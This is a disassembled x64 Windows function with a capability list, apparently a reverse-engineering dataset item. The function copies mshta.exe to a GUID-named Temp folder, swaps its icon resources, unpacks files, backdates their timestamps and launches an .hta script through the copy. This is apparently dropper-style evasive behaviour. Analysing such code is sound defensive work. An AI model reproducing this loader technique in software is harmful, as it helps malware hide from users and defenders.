Function at 0x140004910
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Delete file
Get common file path
Get file attributes
Get file size
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xf50]
mov eax, 0x1050
call fcn.1400200e0
sub rsp, rax
mov rax, qword [0x1400b6010]
xor rax, rsp
mov qword [rbp + 0xf40], rax
lea rax, [rbp + 0x4f0]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, 0x801c
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, str.Temp
lea rcx, [rbp + 0x4f0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, str.990632AF_E55F_4493_9913_CA324398F03B
lea rcx, [rbp + 0x4f0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
xor r8d, r8d
lea rdx, [rbp + 0x4f0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
lea r8, [rbp + 0x4f0]
mov edx, 0x104
lea rcx, [rbp + 0xb20]
call fcn.1400107e8
lea rdx, str.__icon__.ico
lea rcx, [rbp + 0xb20]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rbp + 0xb20]
call fcn.1400046b0
mov edx, 0x104
lea rcx, [rbp + 0xd30]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rdx, str.mshta.exe
lea rcx, [rbp + 0xd30]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
mov r8d, 0x104
lea rdx, [rbp + 0x910]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call fcn.1400011e0
mov rcx, rax
test rax, rax
je 0x1400053e4
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov r12, 0xffffffffffffffff
mov qword [rsp + 0x58], rax
lea rax, [rbp + 0x910]
cmp rax, 0x10000
jae 0x140004a66
lea rax, [rbp + 0x910]
movzx edx, ax
lea rcx, [rsp + 0x58]
call fcn.140005850
jmp 0x140004a8e
lea rcx, [rbp + 0x910]
mov rax, r12
inc rax
cmp word [rcx + rax*2], 0
jne 0x140004a70
mov r8d, eax
lea rdx, [rbp + 0x910]
lea rcx, [rsp + 0x58]
call fcn.140005ac0
mov rbx, qword [rsp + 0x58]
mov edx, 0x5c
mov rcx, rbx
call fcn.1400080ec
test rax, rax
je 0x140004b46
sub rax, rbx
sar rax, 1
test eax, eax
js 0x140004b46
mov r9d, dword [rbx - 0x10]
lea r8d, [rax + 1]
sub r9d, r8d
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x58]
call fcn.1400056b0
mov rdx, qword [rbp - 0x10]
add rbx, 0xffffffffffffffe8
lea rdi, [rdx - 0x18]
cmp rdi, rbx
je 0x140004b2d
cmp dword [rbx + 0x10], 0
jl 0x140004b1f
mov rax, qword [rbx]
cmp qword [rdi], rax
jne 0x140004b1f
mov rcx, rdi
call fcn.1400059d0
mov rsi, rax
mov ecx, r12d
lock xadd dword [rbx + 0x10], ecx
sub ecx, 1
jg 0x140004b14
mov rcx, qword [rbx]
mov rdx, rbx
mov r8, qword [rcx]
call qword [r8 + 8]
lea rax, [rsi + 0x18]
mov qword [rsp + 0x58], rax
jmp 0x140004b2d
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x58]
call fcn.140005ac0
mov eax, r12d
lock xadd dword [rdi + 0x10], eax
sub eax, 1
jg 0x140004b46
mov rcx, qword [rdi]
mov rdx, rdi
mov rax, qword [rcx]
call qword [rax + 8]
lea r8, [rbp + 0x4f0]
mov edx, 0x104
lea rcx, [rbp + 0x700]
call fcn.1400107e8
mov rdx, qword [rsp + 0x58]
lea rcx, [rbp + 0x700]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
xor r8d, r8d
lea rdx, [rbp + 0x700]
lea rcx, [rbp + 0xd30]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x140004b94
lea r13d, [rax + 1]
jmp 0x140005387
xor edx, edx
lea rcx, [rbp + 0x700]
lea r8d, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
xor edi, edi
mov rbx, rax
lea r13d, [rdi + 1]
test rax, rax
je 0x140004bee
lea rax, [rsp + 0x68]
mov dword [rsp + 0x68], r13d
lea r9, [0x1400046a0]
mov qword [rsp + 0x20], rax
lea r8, [0x140029ffc]
mov word [0x1400b822c], di
lea edx, [rdi + 0xe]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnumResourceLanguagesW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor edx, edx
lea rcx, [rbp + 0x700]
call qword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov rsi, rax
test rax, rax
jne 0x140004c13
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r13d, eax
jmp 0x140005387
movzx r15d, word [0x1400b822c]
lea rcx, [rbp + 0xb20]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov r8d, r13d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
cmp rax, r12
je 0x140004d93
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov ebx, eax
call fcn.1400068bc
mov rdi, rax
lea r9, [rbp - 0x18]
xor eax, eax
mov rdx, rdi
mov r8d, ebx
mov qword [rsp + 0x20], rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx ecx, word [rdi + 4]
dec ecx
imul r13d, ecx, 0xe
add r13d, 0x14
mov ecx, r13d
call fcn.1400068bc
movzx ecx, word [rdi]
mov r14, rax
mov word [rax], cx
movzx ecx, word [rdi + 2]
mov word [rax + 2], cx
movzx ecx, word [rdi + 4]
mov word [rax + 4], cx
xor eax, eax
mov ebx, eax
cmp ax, word [rdi + 4]
jae 0x140004d5b
nop dword [rax + rax]
movsxd rcx, ebx
mov rdx, rcx
imul rcx, rcx, 0xe
shl rdx, 4
add rdx, rdi
add rcx, r14
movzx eax, byte [rdx + 6]
mov r9d, dword [rdx + 0xe]
mov r10d, dword [rdx + 0x12]
mov byte [rcx + 6], al
add r10, rdi
movzx eax, byte [rdx + 7]
mov byte [rcx + 7], al
movzx eax, byte [rdx + 8]
mov byte [rcx + 8], al
movzx eax, byte [rdx + 9]
mov byte [rcx + 9], al
movzx eax, word [rdx + 0xa]
mov word [rcx + 0xa], ax
movzx eax, word [rdx + 0xc]
mov word [rcx + 0xc], ax
mov eax, dword [rdx + 0xe]
mov edx, 3
mov dword [rcx + 0xe], eax
lea eax, [rbx + 1]
mov dword [rsp + 0x28], r9d
movzx r9d, r15w
movzx r8d, ax
mov word [rcx + 0x12], r8w
mov rcx, rsi
mov qword [rsp + 0x20], r10
call qword [sym.imp.KERNEL32.dll_UpdateResourceW]
test eax, eax
je 0x140004d8d
movzx eax, word [rdi + 4]
inc ebx
cmp ebx, eax
jl 0x140004cd0
xor r8d, r8d
mov dword [rsp + 0x28], r13d
movzx r9d, r15w
mov qword [rsp + 0x20], r14
mov rcx, rsi
lea edx, [r8 + 0xe]
call qword [sym.imp.KERNEL32.dll_UpdateResourceW]
test eax, eax
je 0x140004d8d
mov rcx, rdi
call fcn.140006280
mov rcx, r14
call fcn.140006280
xor edi, edi
lea r13d, [rdi + 1]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
test eax, eax
jne 0x140004db0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r13d, eax
jmp 0x140005387
lea rcx, [rbp + 0xb20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xorps xmm0, xmm0
lea rcx, [rsp + 0x70]
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
call fcn.1400039b0
test eax, eax
je 0x140005387
mov rbx, qword [rbp - 0x28]
mov r14d, edi
nop word [rax + rax]
mov eax, dword [rbp - 0x80]
cmp r14d, eax
jge 0x1400051c5
test rbx, rbx
je 0x140004e26
cmp r14d, eax
jae 0x140004e26
mov rax, qword [rbx + 0x20]
mov edi, r14d
mov r8d, dword [rax + rdi*4]
add r8, qword [rbx]
jmp 0x140004e2c
mov r8, rdi
mov edi, r14d
lea r9, [rbp + 0x90]
mov edx, r14d
lea rcx, [rsp + 0x70]
call fcn.140003ac0
mov rbx, qword [rbp - 0x28]
test eax, eax
je 0x140005147
test rbx, rbx
je 0x140004e87
cmp r14d, dword [rbp - 0x80]
jae 0x140004e87
mov rax, qword [rbx + 0x20]
mov ecx, dword [rax + rdi*4]
add rcx, qword [rbx]
je 0x140004e87
movzx eax, word [rcx + 0x1c]
test ax, ax
je 0x140004e77
cmp byte [rax + rcx + 0x2d], 0x2f
je 0x140005131
test byte [rcx + 0x26], 0x10
je 0x140004e8e
inc r14d
xor edi, edi
jmp 0x140004e00
mov dword [rbp - 0x74], 0x18
mov r15d, dword [rbp + 0xc0]
mov ecx, r15d
call fcn.1400068bc
mov r9, qword [rbp + 0xc0]
lea rdx, [rbp + 0xe8]
mov r8, rax
mov qword [rbp - 8], rax
lea rcx, [rsp + 0x70]
call fcn.140004510
test eax, eax
je 0x14000512d
call fcn.1400011e0
test rax, rax
je 0x1400053d9
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x18]
add rax, 0x18
mov qword [rsp + 0x60], rax
lea rax, [rbp + 0x4f0]
cmp rax, 0x10000
jae 0x140004f09
lea rax, [rbp + 0x4f0]
movzx edx, ax
lea rcx, [rsp + 0x60]
call fcn.140005850
jmp 0x140004f31
lea rcx, [rbp + 0x4f0]
mov rax, r12
inc rax
cmp word [rcx + rax*2], 0
jne 0x140004f13
mov r8d, eax
lea rdx, [rbp + 0x4f0]
lea rcx, [rsp + 0x60]
call fcn.140005ac0
lea rdx, [0x140029ec4]
lea rcx, [rsp + 0x60]
call fcn.140005c50
lea rdx, [rbp + 0xe8]
lea rcx, [rsp + 0x60]
call fcn.140005400
mov rdi, qword [rsp + 0x60]
mov edx, 0x5c
mov rcx, rdi
call fcn.1400080ec
mov rsi, rax
test rax, rax
je 0x140005073
sub rsi, rdi
sar rsi, 1
test esi, esi
js 0x140005073
cmp esi, dword [rdi - 0x10]
jl 0x140004f93
lea rcx, [rdi - 0x18]
call fcn.1400059d0
lea rbx, [rax + 0x18]
jmp 0x140005008
mov rcx, qword [rdi - 0x18]
test rcx, rcx
je 0x140004faa
mov rax, qword [rcx]
call qword [rax + 0x20]
mov rcx, rax
test rax, rax
jne 0x140004fc4
call fcn.1400011e0
mov rcx, rax
mov rdx, qword [rax]
call qword [rdx + 0x20]
mov rcx, rax
test rax, rax
je 0x1400053d9
mov rax, qword [rcx]
mov r8d, 2
mov edx, esi
call qword [rax]
test rax, rax
je 0x1400053fa
cmp esi, dword [rax + 0xc]
lea rbx, [rax + 0x18]
jg 0x1400053ef
movsxd rax, esi
mov dword [rbx - 0x10], esi
lea r8, [rax + rax]
xor eax, eax
mov word [r8 + rbx], ax
test r8, r8
je 0x140005008
mov rdx, rdi
mov rcx, rbx
call fcn.1400081d0
lea r8, [rbp + 0x4f0]
mov rax, rbx
sub r8, rbx
nop word [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140005034
add rax, 2
test ecx, ecx
jne 0x140005020
test edx, edx
je 0x140005054
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140005054
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
lea rdx, [rbx - 0x18]
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000506e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rdi, qword [rsp + 0x60]
xor esi, esi
xor r9d, r9d
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov rcx, rdi
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, r12
je 0x14000513b
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x6c]
mov rsi, qword [rbp - 8]
mov r8d, r15d
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x6c], r15d
jne 0x14000513e
mov rcx, rsi
call fcn.140006280
movabs rcx, 0x2b6109100
lea r9, [rbp - 0x20]
add rcx, qword [rbp + 0xa8]
xor r8d, r8d
imul rax, rcx, 0x989680
xor edx, edx
mov rcx, rbx
mov dword [rbp - 0x20], eax
shr rax, 0x20
mov dword [rbp - 0x1c], eax
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rdi - 0x18]
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000512d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rbx, qword [rbp - 0x28]
inc r14d
xor edi, edi
jmp 0x140004e00
mov r13d, esi
lea rdx, [rdi - 0x18]
jmp 0x140005371
test rbx, rbx
je 0x1400051b9
cmp qword [rbp - 0x68], 0
je 0x1400051b9
mov rax, qword [rbp - 0x60]
test rax, rax
je 0x1400051b9
cmp dword [rbp - 0x7c], 1
jne 0x1400051b9
mov rcx, qword [rbp - 0x50]
xor edi, edi
mov qword [rbp - 0x28], rdi
mov rdx, qword [rbx]
call rax
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
mov rdx, qword [rbx + 0x20]
mov rcx, qword [rbp - 0x50]
call qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
mov rdx, qword [rbx + 0x40]
mov rcx, qword [rbp - 0x50]
call qword [rbp - 0x60]
xorps xmm0, xmm0
mov rdx, rbx
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
mov rcx, qword [rbp - 0x50]
call qword [rbp - 0x60]
mov dword [rbp - 0x7c], edi
jmp 0x140005387
mov dword [rbp - 0x74], 0x18
jmp 0x140005387
test rbx, rbx
je 0x140005232
cmp qword [rbp - 0x68], 0
je 0x140005232
mov rax, qword [rbp - 0x60]
test rax, rax
je 0x140005232
cmp dword [rbp - 0x7c], 1
jne 0x140005232
mov rcx, qword [rbp - 0x50]
mov qword [rbp - 0x28], rdi
mov rdx, qword [rbx]
call rax
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
mov rdx, qword [rbx + 0x20]
mov rcx, qword [rbp - 0x50]
call qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
mov rdx, qword [rbx + 0x40]
mov rcx, qword [rbp - 0x50]
call qword [rbp - 0x60]
xorps xmm0, xmm0
mov rdx, rbx
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
mov rcx, qword [rbp - 0x50]
call qword [rbp - 0x60]
mov dword [rbp - 0x7c], edi
jmp 0x140005239
mov dword [rbp - 0x74], 0x18
call fcn.1400011e0
test rax, rax
je 0x1400053e4
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x18]
add rax, 0x18
lea rbx, [0x14002a004]
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x50]
cmp rbx, 0x10000
jae 0x140005278
movzx edx, bx
call fcn.140005850
jmp 0x140005283
mov r8d, r13d
mov rdx, rbx
call fcn.140005ac0
lea rdx, [rbp + 0x700]
lea rcx, [rsp + 0x50]
call fcn.140005c50
lea rdx, [0x14002a008]
lea rcx, [rsp + 0x50]
call fcn.140005c50
lea rdx, [rbp + 0x4f0]
lea rcx, [rsp + 0x50]
call fcn.140005c50
lea rdx, [0x140029ec4]
lea rcx, [rsp + 0x50]
call fcn.140005c50
lea rdx, str.2OBUFPUMP.hta
lea rcx, [rsp + 0x50]
call fcn.140005c50
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140005c50
mov rbx, qword [rsp + 0x50]
xorps xmm0, xmm0
xor eax, eax
xor r9d, r9d
mov qword [rbp + 0x60], rax
xor r8d, r8d
mov qword [rbp + 0x80], rax
mov rdx, rbx
movups xmmword [rbp], xmm0
lea rax, [rbp + 0x70]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
movups xmmword [rbp + 0x40], xmm0
mov qword [rsp + 0x30], rdi
movups xmmword [rbp + 0x10], xmm0
mov dword [rsp + 0x28], 0x20
movups xmmword [rbp + 0x30], xmm0
mov dword [rsp + 0x20], r13d
movups xmmword [rbp + 0x20], xmm0
mov dword [rbp], 0x68
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 8], rdi
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x48], rdi
mov word [rbp + 0x42], di
mov qword [rbp + 0x10], rdi
mov dword [rbp + 0x3c], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
lea rdx, [rbx - 0x18]
mov r13d, edi
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140005387
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r12d
sub r12d, 1
jg 0x1400053a6
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [r8 + 8]
mov eax, r13d
mov rcx, qword [rbp + 0xf40]
xor rcx, rsp
call fcn.140006260
lea r11, [rsp + 0x1050]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 0x80004005
call fcn.140001040
int3
mov ecx, 0x80004005
call fcn.140001040
int3
mov ecx, 0x80070057
call fcn.140001040
int3
call fcn.140005da0
int3